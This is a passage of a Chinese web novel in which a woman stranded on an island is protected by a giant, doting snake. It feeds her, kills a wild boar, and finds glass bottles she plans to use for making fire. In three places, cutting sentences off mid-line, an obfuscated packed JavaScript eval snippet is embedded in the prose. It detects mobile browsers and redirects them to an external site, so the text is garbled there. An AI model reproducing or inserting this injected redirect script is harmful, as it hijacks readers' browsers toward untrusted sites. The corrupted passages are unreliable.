虽然是生鱼,但最起码还有个食物叫生鱼片,勉强也能吃吃,虽然于余初谨这种完全不能接受生食的人而言,生鱼和别的生肉似乎也没太多分别。 鱼已经剖去内脏简单处理过了,只差吃它了,她鼓起勇气,把鱼送到嘴边。 见状,大蛇眼睛登时亮起,满眼期待地看着余初瑾。 它打回来送给她的猎物,无论是野鸡还是兔子,她总是不吃,这让大蛇感到十分挫败。 这还是余初谨头一次吃除了桃子和椰子以外的其他食物,大蛇自然很是激动。 她把鱼送到嘴边,张开嘴,仿佛被定格,嘴张着却迟迟没能咬下去。 吃生肉,需要很大的勇气。 纠结犹豫半晌,最后又把鱼给放下了。 大蛇眼露急切,小爪子在沙地上踩啊踩。 它要是会说话,此刻估计在说:吃啊吃啊,怎么又不吃了,好吃,快吃快吃! 余初瑾好笑看它:“你怎么比我还着急。” 大蛇:“嘶嘶。” 深吸一口气,再次把鱼送到嘴边,这次没犹豫,一口咬下,甚至还做出豪迈拽肉的动作,大口咀嚼。 豪迈一秒…… “呕” 胃部翻江倒海,瞬间吐了出来,满脸涨红,生理性的泪水都被刺激了出来。 太腥了,生鱼肉的口感更是让她下意识反胃,根本无法下口。 大蛇望着被吐出来的鱼肉,淡青色的眼睛先是透出不解后变成担忧。 它开始围着余初瑾转,蛇信子“嘶嘶”吐着,满目焦急。 大蛇感到特别开心时会围着人转,担忧焦急的时候同样会如此。 余初瑾缓了缓,声音因为呕吐变得嘶哑:“没事,不用担心我,我就是适应不了吃生的肉,没事没事,我忍忍,肯定可以适应的。” 这句话也不知道是在安慰大蛇,还是在安慰她自己。 她只是暂时还没饿到那个份上,还有椰子和桃子可以作为替补,但一直这么替补下去也不是个办法,不吃肉她没力气,一点力气都没。 拿起鱼,打算再一次尝试吃。 然而鱼刚拿起来,手上便一空。 一条蛇尾巴窜到面前,把鱼抢走了,不光抢走,还一把将鱼甩丢出三米远。 余初瑾懵了一下:“你怎么给我扔了?” 大蛇眼底盛满了焦急和担忧。 “不是,你是不是误会了,我刚刚吐了,不是因为鱼肉有问题,我只是不适应吃生肉。” 大蛇听不懂,它只知道,两脚兽吃鱼吐了,鱼有毒,它不许两脚兽继续吃。 很单纯很纯粹的关心。 11. 舔舐 010舔舐 大蛇急躁得来回打转,眼底满是急躁担忧,时不时还凑到人眼前嗅一嗅她,并发出类似于“呜呜”的声响。 这还是余初谨头一次听到大蛇发出除了“嘶嘶”和“呼呼”外的其他声音。 嘶嘶是它的语言,呼呼是它在学自己的喘气声,呜呜又是什么意思呢? 是担心到哭了? 可能也不是哭,但一定是在关心她,过于纯粹的关心,让她有些动容 “还好有你。”她摸摸它脑袋。 还好有它,虽然现在活的也很狼狈,可最起码,她还有资本挑剔生肉无法下咽。 如果没有大蛇,她被困在这座孤岛上,一个人孤零零的不说,还得打起精神去找食物,以她的能力,大概率根本捕不到肉食。 她都不敢想,那会是一种什么糟糕境遇。 大蛇坚信刚刚那块鱼肉致使余初谨中毒了,此刻正吐着蛇信子,挨的人很近。 左闻闻,右嗅嗅,检查她的身体状况。 时不时还从喉咙里发出呜呜声,眼神从担忧关心逐渐过渡到了伤心。 它伤心过头的样子,整得余初谨都要以为自己身中剧毒,即将命不久矣了…… 这条傻蛇。 余初瑾把它的大脑袋推开,站起来,并向上跳了一下,表示自己很强壮,很健康,没有中毒,更不会死。 结果才跳一下,腿一软,人就歪倒了下来。 没力气,浑身软,跳一下都虚得很。 大蛇看着倒在地上的两脚兽,眼底伤心更甚了,仰天“呜呜”了两下。 余初谨又感动又想笑:“你往天上呜什么,哪有蛇会往天上呜的,不知道还以为狼来了。” 忽然,大蛇停住所有动作,二话没说,一溜烟窜进树林。 “诶?去哪?不用打猎,鱼肉都还没吃完呢。”余初瑾想喊住它,奈何它动作太快,一个眨眼就不见了。 余初瑾无奈叹气,靠着树,坐在地上缓了缓虚弱的身体。 待到休息的差不多后,起身去捡被大蛇丢远的鱼。 吃不惯生鱼多吃几次就能吃下去了,现在这个情况也没得挑,谁叫她没办法生起火来。 在她有力气的时候,生火不积极,半吊子的在那生火,等到现在没力气了,就更加完不成钻木取火这种高体力的活动了,算是陷入了恶性循环。 必须先补充食物,恢复体力,有力气了才能继续生火。 捡起鱼,鱼肉上沾了不少沙子,余初瑾来到海边清洗鱼,洗干净后折回庇护所,盘腿坐在地上,继续吃。 不要咀嚼,直接咽,直接咽就好。 吃之前,余初瑾做足了心理建设。 张嘴,准备咬,还没咬到,手上忽地一空。 鱼不见了,伴随而来的是淡淡的青草香,抬头看去,原来是大蛇回来了。 大蛇刚回来,就看到余初瑾还在吃“有毒”的鱼,立马就把鱼夺了过去。 夺了过去还不够,它还把鱼甩在地上,蛇尾巴往鱼上“啪啪”拍打两下。 两下就把鱼给拍到沙底下去了,甚至从这个动作不难看出大蛇对这条鱼的愤恨感。 余初瑾:“……” 余初瑾哭笑不得。 大蛇这次又带了桃子回来,青绿色的桃子,一看就酸不拉几。 可能在大蛇眼里,桃子是余初谨喜欢吃的食物,因为除了椰子她就只吃桃子。 余初瑾叹口气,认命般又一次准备吃桃子。 下一秒,眼睛一亮。 大蛇摘回来的桃子,里面居然有一个红色的。 红的!熟的! 快速拿过红色桃子,都等不及去洗,当即咬了一口,汁水在口中爆开。 甜! 啊,这才叫食物! 居然吃到了甜桃子,太幸福了,她已经忍受了好多天的酸桃子,以及寡淡无味的椰肉了。 一个桃子,她吃出了珍馐美味的架势,很快就吃得只剩下一个桃核。 意犹未尽。 嗯?不对,这不有熟的桃子吗,那大蛇为什么每次都摘酸不拉几的回来。 难不成整颗桃树上就一颗熟果子? 余初瑾指着桃子,问:“熟的只有这一个吗,桃树在哪,能带我过去看看吗?” 大蛇每天都会投喂食物,因此余初瑾对食物并没有紧迫感,压根就没想过要去了解桃树在什么位置。 反正大蛇每天都会摘桃子回来,也就没有知道桃树在哪的必要,当然还有另外一个原因。 那就是,她不觉得自己需要储存食物,她觉得她一定会被救走,一定能离开荒岛。 这个一定,余初瑾很坚定,如果不坚定的话,人可能会崩溃。 她需要希望,希望不能破灭,不然,不然……她也不知道不然会怎样,难不成真在这里当一辈子野人吗。 余初瑾手脚并用的比划了好一会,大蛇懵懵懂懂看着。 “哎呦,和你沟通可真累,本来就饿的没力气,你还傻了吧唧的听不懂,桃树,就这个桃子,看到没,桃子,桃树在哪,你别光嘶嘶了。” “嘶嘶。” “……” 余初谨扶额,疲倦地靠在树上喘气,得缓会。 不要急,上次和它沟通抓鱼的时候也很费劲,但最后它懂了,给自己抓了一条大鱼上来。 耐心点,不要发脾气,暴脾气的她不停劝慰着自己不要暴脾气。 正在余初谨深呼吸平和情绪时,蛇尾巴突然怼到跟前,尾巴尾部似乎卷了个东西。 “什么?” 细看过去,是一株草。 大蛇把草送到余初谨跟前,见她不接,又往前递了递。 余初谨疑惑拿过,随便看了看草,没太在意。 大蛇围着余初谨转。 “别转了,头都要让你转晕了。”余初谨随手把草放到了一边。 没明白大蛇为什么要给她一株草,但无所谓了,现在她就想知道桃树在哪。 熟的甜的桃子对于现在的余初谨而言,有着极强的诱惑力。 余初谨拿起一个酸桃子,再次比划起来。 “桃树,”指了一下桃子,随后又指了指身后的树:“桃树,桃树在哪,”做出走路的动作:“带我过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644055|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 连说带比划,大蛇听没听懂不知道,反倒是又把那棵草用尾巴卷起来,递到了余初谨眼前。 蛇信子吐着,发出“嘶嘶”的声响,眼露急切。 “你怎么又给我这棵草,我不要草,我要桃树。” 话音刚落,大蛇尾巴猛地贴过来,竟把草往余初谨嘴里塞。 “唔……” 余初谨手忙脚乱拍开它的尾巴,“呸呸呸。” “你往我嘴巴里塞草干什么!” 大蛇不依不饶,捡起被拍到地上的草,继续往她嘴里塞。 余初谨连连后退,大蛇紧追不舍,急得不行,不停试图往她嘴里塞草。 余初谨服了,赶忙抬手:“好好好,我吃我吃,别塞了,有话好商量,我吃。” 拿过草,先看一眼蛇,后开始了拙劣的表演,将草装模做样地放到嘴边,假装咬了一口并咀嚼,实则只是在咀嚼空气。 咀嚼一会后,做出吞咽的动作。 演技拙劣,但骗蛇足够了。 “啊,”她张开嘴:“你看,我吃了,已经吞下去了。” 大蛇歪头。 余初谨咬牙切齿:“让你带我去找桃树你听不懂,非在这逼我吃草,你这条比我还疯疯癫癫。” 大蛇仍旧歪着头,看着余初谨剩余的草。 “不是,”余初谨都快气笑了:“吃一口还不够,还得整颗都吃完。” 大蛇:“嘶嘶。” 余初谨一个头两个大,再次妥协:“好好好,我吃我吃,整个都吃完,满意了吗。” 她背过身去,发出咀嚼的声音,假装在吃,实际上一口没吃。 正准备把草藏起来,视线无意落到草的叶片上时,神情微怔。 之前光顾着桃树,都没怎么留意草是什么草,只当是普通的草。 现在仔细一看,才注意到这不是普通的野草,而是车前草。 余初谨对草木并不了解,但车前草她还是认识的,之前登山时曾听同行的驴友提及过。 车前草是一味中药,功效颇多,能凉血止血、抗炎抗菌等,最重要的是,它还有清热解毒的功效。 清热解毒…… 望着手上的车前草,余初谨心情有些微妙。 看来刚刚大蛇出去摘桃子只是顺便,找草药给她解毒才是正事。 大蛇始终觉得余初谨吃鱼中毒了,它简单的脑子并不理解明明能吃的鱼为什么两脚兽吃了会中毒,但它很担心她,第一时间去找了草药。 草药找回来了,可两脚兽死活不肯吃,急得蛇直接往她嘴里塞。 笨蛇,它怎么这么笨,一根筋的觉得人中毒了,余初谨看着手上的车前草,莫名有些鼻酸。 余初谨把草药藏到口袋里,转过身来,看着大蛇那担心关切的模样,鼻酸的同时心中一暖。 余初谨摊开手:“你看,空了,我吃了,毒已经解了,不用担心了。” 大蛇凑近看。 余初谨好笑:“你有近视还是怎么回事,还得凑这么近看。” 说话间,猝不及防,近在咫尺的蛇信子舔了舔她的脸颊。 12. 攻击 012攻击 毫无防备下,湿滑冰凉的触觉拂过脸颊,带着淡淡的青草香。 这条蠢蛇怎么还舔人! 余初谨眼角抽搐,下意识就要抬手擦脸,但又硬生生忍住了动作。 动物舔舐对方,应该是在表达关切关心的意思,如果一被舔就立马擦,一副嫌弃模样,不免寒了它的心。 余初谨转个身,偷偷擦掉脸上残留的湿滑感。 有点嫌弃它,但还是偷偷嫌弃吧,不能伤了它的心。 “好了,我草药也吃了,毒也已经解了,可以带我去找桃树了吧。”余初谨又一次拿起桃子,不屈不挠的打算再次演示,继续试图和大蛇沟通。 结果刚拿起桃子,大蛇就一个转身,往树林里游动。 游动到一半,回头,见她没跟上来,大蛇疑惑歪头,似乎在说:不是要找桃树吗,怎么不跟上来。 “你原来听懂了啊,整半天是我不吃那颗草你不带我过去是吧。” 亏她一个人比划了那么久,既然听懂了也不知道早说,好吧,它似乎也没法早说。 余初谨小跑着跟了上去。 大蛇游动得很慢,移动一点距离便回头看余初谨有没有跟上来,移动一点距离又回头看。 被困荒岛多日,这还是余初谨第一次主动进入树林,她之前一直比较抗拒进来,总觉得里面会有未知的危险,下意识规避。 这次要不是想找到桃树,她也压根不会进来。 树林里的草木十分高大繁盛,她在里面行走,显得特别渺小。 湿气很重,伴随着阵阵枯枝树叶的腐味。 抬头看去,天空被树木遮挡,遮天蔽日般黑压压一片。 在这种环境下,总让人无端生出恐惧,可当目光触及到前方频繁回头的傻蛇后,恐惧又渐渐消散,心情也渐渐平和。 树林里草木茂盛,荆棘遍布,要不是有大蛇在前面开路,把灌木以及杂草拨开压倒,她走起来估计得寸步难行。 可哪怕是有大蛇在前面开路,余初谨照样走的艰难。 主要是浑身软绵绵的没力气,走两步就喘。 没一会便走累了,停下休息,大蛇也不催促,安静等着,余初谨停它就停,余初谨示意走它就继续走。 走了约莫二十分钟,她擦了擦额头的汗:“还有多远?” 大蛇:“嘶嘶。” 平时大蛇去摘桃子,十分钟左右便会回来,一来一回很是瞬速,这让余初谨下意识以为桃树就在附近。 但她忘了,大蛇的移动速度很快,大蛇的十分钟路程,人类走起来可能得翻数倍。 走不动了,找了块还算是干净地大石头坐下休息。 大蛇则盘起尾巴,趴在余初谨脚边。 有够粘人的,就休息一会,还得杵你脚边呆着。 仿佛为了验证粘人这个词语,大蛇把脑袋怼了过来,求摸摸。 自从之前摸了它一次之后,就像是触发了什么机关,大蛇有事没事就把它那大脑袋怼过来。 看着凑到眼前的大脑袋,余初谨敷衍摸两下。 太过敷衍,大蛇不满意,大脑袋拱人的手。 余初瑾想安静休息会,奈何大蛇不依不饶,大脑袋一直往她手上拱。 并伴随着不满“嘶嘶”声。 余初瑾发现,大蛇的嘶嘶声很多时候是饱含了情绪的,或担心或生气或不满、委屈、开心、兴奋等等。 不同声调的嘶嘶都会有着各种细微区别。 可据她了解,蛇吐蛇信子发出嘶嘶声,严格意义上来说并非蛇的语言,也无法表达情绪。 那只是蛇在收集环境信息,通过蛇信子寻找食物感知危险而已。 可怪就怪在,眼前这条大蛇,它分明就是在通过嘶嘶表达情绪和语言。 这条蛇不像蛇,更像是长着蛇外观的其他生物。 “嘶嘶。” 它此刻的声音偏低,很显然,是在表达不满。 不满于余初瑾只是敷衍地摸了一下它。 余初瑾不得已,只能顺着它的脑袋往下摸,轻轻摸一下,轻轻又摸一下。 然后就会收获一只没完没了的大蛇,手只要放开了,它就拿脑袋顶。 “不摸了。”余初瑾无语,收回手。 “嘶嘶。”它生气了。 “好好好,摸摸摸。”无奈叹气。 在大石头上休息了十来分钟,也摸了它大脑袋十来分钟。 主要是如果不摸它,它就老是闹腾,瞧它那个粘人劲,余初谨也不忍心真凶它。 休息的差不多了,起身,拍了拍沾了灰尘和枯叶的裤子,继续往前走。 大蛇恋恋不舍地望着她的手。 “前面带路啊,还愣着干什么。”余初瑾抬了抬下巴示意。 大蛇又看了一眼她的手,然后才不情不愿地游动到前面开路。 树林压根看不到尽头,黑沉沉的,也不知道这个荒岛到底有多大,绕一圈又需要花费多少时间。 现在是有大蛇带路,如果是一个人,她可不敢涉足,不然很有可能会迷失在树林里。 树林虽大,但一路上倒是没看到大型动物,没有威胁的兔子野鸡倒是看到了好几只。 余初瑾一路走一路观察,如果能在树林里找到淡水资源,那就最好不过了。 虽然现在有椰汁作为水资源,但不是长久之计。 现在这个季节有椰子,等再过几个月,没了椰子…… 余初瑾摇摇头,想什么呢,她怎么可能被困几个月,几天她都快活不下去了,还几个月,那还不如直接找一棵树吊死得了。 不会的,很快就会获救的,余初瑾在心里安慰着自己。 往前又行进了约莫二十几分钟,还不等大蛇带到近处,她远远的就看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644056|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗结满果实的桃树。 眼睛登时一亮,小跑了过去。 桃树高大,足有数10米之高,本以为只是一颗小野桃树,没想到还是颗大桃树。 抬目望去,桃树上方,结了不少红色桃子。 这个不少,可以形容为,10颗果子里面有9颗是熟了的。 余初瑾看了看上方的桃树,又看了看旁边的大蛇。 “我以为没几个熟的桃子,敢情你只摘没熟的给我吃是吧。” 没熟的桃子都快被大蛇摘完了,只剩下了熟的挂在树上,看一眼就觉得鲜美多汁。 “怎么,熟的桃子留着自己吃,不熟的给我吃?” “嘶嘶。” 余初瑾指着树:“摘熟的给我。” 这次的沟通很顺畅,余初谨刚一指桃树,大蛇当即就爬上树,很灵活的避开了熟的果子,摘了几颗没熟的下来了。 余初瑾望着没熟的桃子,一阵沉默。 “我不要这种,”余初瑾如鲠在喉:“你也真是不容易,满树的熟桃子不摘,你非从犄角旮旯挑几个不熟的摘给我。” “嘶嘶。” 它把酸桃子塞到人手上,满脸写着,吃吧吃吧,快吃吧。 余初瑾再次指着桃树上方:“摘上面的,我要吃熟的,这种青色的太酸了,我不喜欢吃酸桃子。” 大蛇歪头,萌萌呆呆,也不知道听没听懂,“嘶嘶”两声,飞快又爬到树上去了。 然后,余初瑾脚边又多了几个没熟的桃子。 除了收获一堆酸桃子外,余初谨还收获了一只小爪子踩在地上,尾巴摇啊摇,求表扬的大蛇。 余初瑾:“……” 还表扬呢,余初瑾都快被这条蠢蛇气炸了。 “熟的,我要吃红桃子!”语气超凶。 本来准备迎接表扬的大蛇,表扬没收到,还被凶了,委屈地缩了缩脑袋。 然而也就在这时,原本还一脸委屈的大蛇,毫无预兆地突然直立起蛇身。 余初谨仰头看它,阴影罩在人头顶。 几天时间相处下来,余初谨已经不惧怕它了,但它这么竖起身体来,仍旧带着极强的压迫感。 “你干嘛,突然立起身子来,炫耀你长得高吗,” 余初谨往后退了两步,语气有点虚,声音不自觉放小:“不就是凶了你两句吗,怎么还发脾气了……” 不等余初谨话说完,大蛇发出威胁的“嘶嘶”声。 嘶哑低沉的嘶嘶声,伴随着龇牙、竖瞳,无不表明了它在发怒,攻击性十足。 余初谨害怕吞咽了下喉咙,这条蛇怎么了。 总不至于凶它一句,它就要吃人吧,更何况之前也没少凶它。 不等她想明白怎么一回事,忽地,大蛇速度极快地俯冲攻击而来。 而它的攻击目标,似乎就是下方渺小毫无反击能力的余初谨…… 13. 害怕 013害怕 大蛇猛冲而来。 余初谨心一瞬提到了嗓子眼,害怕得下意识闭眼,抱住头,蹲下。 然而,预想的被蛇咬一口吞掉的恐怖场景并未出现,反而是身后传来剧烈的声响。 “砰” 是蛇尾巴甩在地上的声音。 “咔” 是牙齿咬进皮肉的声音。 蹲在地上的余初谨茫然回头,就瞧见大蛇竟是和一头野猪缠斗在了一起。 大蛇一口咬在野猪的脖子处,尾巴则缠绕着野猪的身体,一面咬一面绞杀。 蛇绞杀它的同时不断在地上翻滚,撞击得树木摇晃,枯叶翻飞。 余初谨这会才反应过来,原来大蛇并不是要攻击她,而是在攻击不知道什么时候已经摸到她身后来的野猪。 大蛇和野猪的战斗还在继续。 可这场战斗,并无悬念,完全是一方在碾压。 这也是余初谨头一次见识到巨蟒真正的实力,许是大蛇平时憨蠢过头,她乍一见到它凶悍的一面只觉诧异。 大蛇尾巴每收紧一分,野猪的嘶鸣惨叫声就加大一分。 惨叫响彻山林,惊退了树枝上的鸟。 待到大蛇松开野猪,野猪已经瘫软在地,没了生息。 大蛇用尾巴重重拍打了几下野猪,确定它已然咽气,这才罢休。 解决完野猪,大蛇第一时间往余初谨地方向靠近。 看到大蛇靠近,余初谨不受控地退了一步。 大蛇停住,疑惑歪头。 平日里憨憨傻傻狗里狗气的大家伙,现在满脸是血,狰狞可怖。 那是大蛇撕咬野猪脖子时溅到它脸上留下的血。 余初谨知道,刚刚大蛇撕咬绞杀野猪是在保护她,可目睹了大蛇凶狠一面后,不免还是心生畏惧。 她甚至在想,自己之前是怎么敢在这个大家伙面前那么放肆的? 时常朝它发脾气不说,还朝它丢石头,简直堪称在作死。 它的尾巴可以轻松绞杀野猪,它的牙齿可以轻松咬进野猪的皮肉。 野猪这么庞大的动物,在大蛇的手下都如此不堪一击,更何况是更渺小更无力的她。 人对力量远胜自己生物,会生出天然的恐惧,无法自控,余初谨也不例外。 余初谨以前是心大,现在目睹了大蛇咬死野猪的一幕,看着它满脸是血的样子后,瞬间心大不起来了。 大蛇靠近,余初谨就后退。 “嘶嘶。”它吐着蛇信子,眼底尽是茫然。 茫然两秒,它像是想到了什么,突然折了回去,把野猪丢到余初谨跟前。 余初谨望着眼前的野猪,愣怔片刻。 大蛇小爪子踩在地上,咧着沾血的牙齿,发出“嘶嘶”声,下巴还一抬一抬。 余初谨不懂它的语言,但却能猜测到它此刻在说什么。 它应该是在说:你后退是不是在害怕野猪啊,放心,野猪已经被我杀死了,它不能伤害你了,你不要害怕。 余初谨看了看死透的野猪,又看了看满脸沾血的大蛇,心情复杂,忽感惭愧。 “我不是在害怕野猪,我是在害怕你啊,傻蛇,人这种生物,有时候很没良心的。” 它尽力保护自己,可自己却在害怕它,怎么不算是没良心的一种呢。 余初谨朝它招招手,示意它过来。 大蛇完全不懂两脚兽的那些弯弯绕绕,兴高采烈地凑了过来。 余初谨摸摸它的脑袋:“谢谢你啊,保护了我。” 大蛇懵懂地眨巴着眼睛。 余初谨思忖片刻,竖起大拇指,并搭配上固定词语:“你真棒,真厉害。” 大蛇眼睛登时一亮,摇头晃脑,尾巴在地上扫来扫去,开心得像个小孩。 余初谨轻笑:“真是条奇怪的蛇,不光不攻击我还保护我,我又不是你的同类,我还老是凶你,脾气又暴躁,对你也不好,你怎么还成天跟着我到处跑。” 大蛇歪头,竖着小耳朵听。 余初谨不吝啬,又一次竖起大拇指:“你真棒,真厉害。” 大蛇就只听得懂这一句,知道是被夸了,开心地小爪子直踩地面,摇头晃脑得更加欢乐了。 “真好哄,你这条蛇单纯的要命,不像我,我心眼子可多了。” 单纯蛇用尾巴卷起野猪,送到余初谨脚边。 “给我?” “嘶嘶。” 野猪个头比普通家猪都要大上一圈,身上的肉估计也不少,够吃好久。 但天气炎热,肉再多也架不住一天就会变质发臭,或许可以烟熏保存。 没火…… 绕来绕去,又回到了火这个问题上,她得想办法尽快把火生起来。 比起这个,最先需要解决的是,想办法摘点熟桃子吃,桃子就在头顶,近在眼前,实在诱人。 就在余初谨苦恼怎么和大蛇沟通,让它不要摘酸桃子,而是摘熟桃子时,就听“哒”一声。 一颗熟透的桃子,从树上掉落,径直砸在余初瑾脚边。 余初瑾一怔,连忙捡起来。 “这种这种,看到没有,我就喜欢这种桃子。”余初谨激动道。 大蛇左歪歪头,右歪歪头。 她咬了一口桃子,眼睛眯起,并发出赞叹的声音,用表情表示这个很好吃,这个特别美味,我超级喜欢这个。 大蛇继续歪头。 “不是吧,你还没懂?” 余初谨一个头两个大,已经放弃沟通了,抬头望着高十米的桃树,思忖着自己爬树的可行性。 忽然,大蛇一溜烟窜到树上。 余初谨不抱希望,心想着它估计又会摘一堆酸桃子下来。 但令人意外的是,它居然摘熟桃子了。 终于! 余初瑾都快感动哭了,终于让这条蠢蛇明白自己的意思了。 沟通艰难,但还好,最后沟通成功。 余初瑾左手一个熟桃子,右手一个熟桃子,满脸享受吃了起来。 吃着吃着,把一个桃子丢给了大蛇:“你也吃一个。” 大蛇嫌弃地把熟桃子扒拉开,转而拿起一个酸桃子,抛进嘴中。 余初瑾望着它一个接着一个的吃酸桃子,并避开其中的熟桃子,突然就懂了,为什么刚刚沟通艰难了。 大蛇就是觉得酸桃子好吃,熟桃子不好吃,所以它很坚持的只摘它认为好吃的。 它想分享好吃的酸桃子,心是好的,就是固执了点。 余初谨盘腿坐在地上,一个接着一个的吃桃子,吃了几天的椰子和酸桃子,终于是可以换换口味了。 好吃好吃,一边吃一边频繁点头。 大蛇见她吃这么开心,疑惑地歪着脑袋 大尾巴捡起一个熟透的桃子,先是左右观察桃子,后是看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也不知道挑个干净地方睡,就躺在野猪尸体旁,到处都是血不说,它还在血里面打滚。 那场景,看得余初谨头皮发麻,两眼一黑。 “你脏死了,一条蛇怎么能整得这么埋汰!” 大蛇睡得正迷糊,被两脚兽一吼,一脸迷蒙地看着人。 余初谨从害怕它浑身是血的样子,逐渐过渡到了嫌弃,最后实在忍不了了。 “去海边洗洗,你看你这一身弄得,脏兮兮的,这么脏不洗干净你怎么睡得着的。” 大蛇不明所以,只知道是被凶了,顶着一张血呼呼的脸,委屈兮兮。 “还杵着不动?赶紧去洗,脏兮兮的蛇不是一条好蛇。” 大蛇不懂,只是亲昵地用脑袋蹭蹭她。 “啊,血全蹭我身上了!” 指望大蛇听懂是不可能的,余初谨只得拖着这个脏兮兮的大家伙去海边,然后往它身上泼水,帮它洗。 大蛇不乐意洗,被余初谨一眼神瞪了回去,然后就收获了一只不想洗澡又被迫洗澡的委屈大蛇。 半小时后。 “洗不动了,”余初谨累得叉腰喘气:“你去海里滚一圈,自己弄干净。” 大蛇杵着不动,还在那“呼呼呼”。 余初谨气得用手捶它脑袋。 大蛇尾巴护头,可怜兮兮。 余初谨:“……” “算了算了,就这样吧。”勉强把它身上的血洗干净了,虽然还残余了一点,但余初谨实在没力气再给这大家伙洗了。 给它洗完自己也得洗,染了一身血腥气。 刚准备脱下衣服,就见远处海面漂浮了什么,折射着光。 “那是什么?”余初谨眯起眼睛。 14. 玻璃瓶 014玻璃瓶 远处,海面上漂浮着什么,随着海浪一起一伏,在夕阳下折射着银光。 余初瑾定睛看去,心跳猛地漏了一拍。 她好像猜到那是什么了。 如果真是她所猜测的那个东西的话…… 顾不得多想,当即大步跑过去,急切又快速地朝漂浮的东西游去。 游到近处,伸手,一把抓住东西。 很快,海面上传来余初瑾的大笑声。 “哈哈哈哈。” “哈哈哈哈!” 听到大笑声,大蛇疑惑歪头。 不多时,余初瑾游了回来,手上多了个东西,她正捧着那东西,左看右看,爱不释手,时不时还笑出声。 不知道的还以为她得失心疯了。 大蛇游动到她身边,好奇地看向她手上的东西。 余初瑾嘚瑟地把东西放大蛇眼前晃了晃:“知道这是什么吗,这是玻璃瓶。” 普普通通的玻璃瓶,不值得兴奋,也不值得大笑,可这是在荒岛,是在余初瑾久久无法获得火源的情况下。 玻璃瓶,在特殊情况下,可以利用凸透镜的原理,在阳光直射下,形成焦点,从而获得火源。 利用玻璃瓶生火,可比余初瑾在那苦哈哈的钻木取火来的有用。 要不是现在正值黄昏,没有太阳,余初瑾都恨不得立马行动起来。 利用凸透镜的原理生火,余初瑾一早就想到了这个办法,之前更是用矿泉水瓶试过几次。 但不知是不是矿泉水瓶材质的问题,还是什么其他缘故,无一例外全都失败了。 这次意外获得了玻璃瓶,余初瑾觉得,一定能行,肯定能行。 她已经提起兴奋起来,马上就能生起火了,马上就能吃烤熟的食物了,正好还有半头野猪,足够她饱餐一顿。 最最最重要的是,她可以通过燃烧木柴,释放浓烟,从而增加被发现的几率,从而获得救援。 她有预感,获救就是分分钟的事了,她即将离开这个鬼地方! 越想越兴奋,余初瑾如获至宝般,紧紧将玻璃瓶抱在怀里。 就等明天了,等到大中午的时候,等到太阳最烈的时候,她就能成功把火燃起来。 大蛇好奇地盯着玻璃瓶看。 兴奋之余,余初瑾警铃大作:“这个东西你不许碰。” 这条哈士奇蛇,什么东西到它手上都得坏,可不能让它碰,这可是她生火的希望。 大蛇盯着她怀里的玻璃瓶看了一会,若有所思。 大蛇用尾巴点了点她。 余初瑾:“别想,这个东西不可能给你玩的。” 大蛇:“嘶嘶。” 但余初瑾好像误会了它的意思,它没有要玩玻璃瓶的意思,刚刚用尾巴点她,要表达的意思似乎是它有事要离开一下。 因为下一秒大蛇转身走了。 余初瑾喊它:“你去哪,野猪不都还剩半头吗,又要去打猎吗。” 大蛇回头,“嘶嘶”两声,回应她的话。 当然,这样的回应和没回应也没什么区别。 大蛇没有往树林里去,而是沿着海滩边游动,速度极快,一眨眼便没了踪迹,只余留下了沙滩上它游动过的痕迹。 这条蛇,到底干嘛去了,食物充足的情况下,它也不像是要去打猎。 余初瑾不安地皱起眉心。 获得玻璃瓶的喜悦,因为大蛇的离开,被冲的七七八八,一下子也开心不起来了。 她望着大蛇离开的方向,变得焦躁不安。 其实很多时候,粘人的不是大蛇,而是她余初瑾。 准确来说也不算是粘人,而是她深知自身手无缚鸡之力,生活在这座孤岛上,极度需要大蛇的庇护。 大蛇一旦离开,余初瑾便会陷入恐慌当中,害怕被丢下,害怕一个人面对各种威胁。 但还好,大蛇并没有离开很久,不过十来分钟,就见到大蛇从沙滩的另一头折回。 两只小爪子上,似乎还抓了什么东西? 真是去打猎了吗,桃子也有,野猪也有,这条蛇勤奋的过头了,食物充足,它打什么猎? 等到大蛇靠近,余初瑾看清了大蛇两个小爪子上抓着的东西。 是两个玻璃瓶。 余初瑾低头看了看揣在怀里的玻璃瓶,又看了看大蛇两个爪子上抓着的玻璃瓶,一阵沉默。 原来,海边的沙滩上有很多这种废弃的玻璃瓶。 早知道有很多,她就沿着海滩一直找了,如果一早就找到玻璃瓶,她何至于这么多天都生不出火来。 失算了。 大蛇把玻璃瓶放到余初瑾脚边,眨巴眨巴眼睛,身后的尾巴在沙地上摇来摇去。 翻译过来就是:你很喜欢这种玻璃瓶啊,我给你捡来了两个,送给你,都送给你,我厉害吧,快夸我。 这是一条格外喜欢被夸奖的蛇。 “你真棒,真厉害。”余初瑾竖起大拇指。 大蛇开心极了,尾巴摇晃的频率更高了,小爪子在沙地上踩来踩去,无一不表明了它的开心。 余初瑾弯腰捡起大蛇送的两个玻璃瓶。 虽然生火一个玻璃瓶就够了,但这种东西多多益善,后期还可以用来储存水源。 说起储存水源,余初瑾不免忧虑,这几天都没有下过雨,今天去了一趟树林摘桃子,期间也并没有发现有水源的地方。 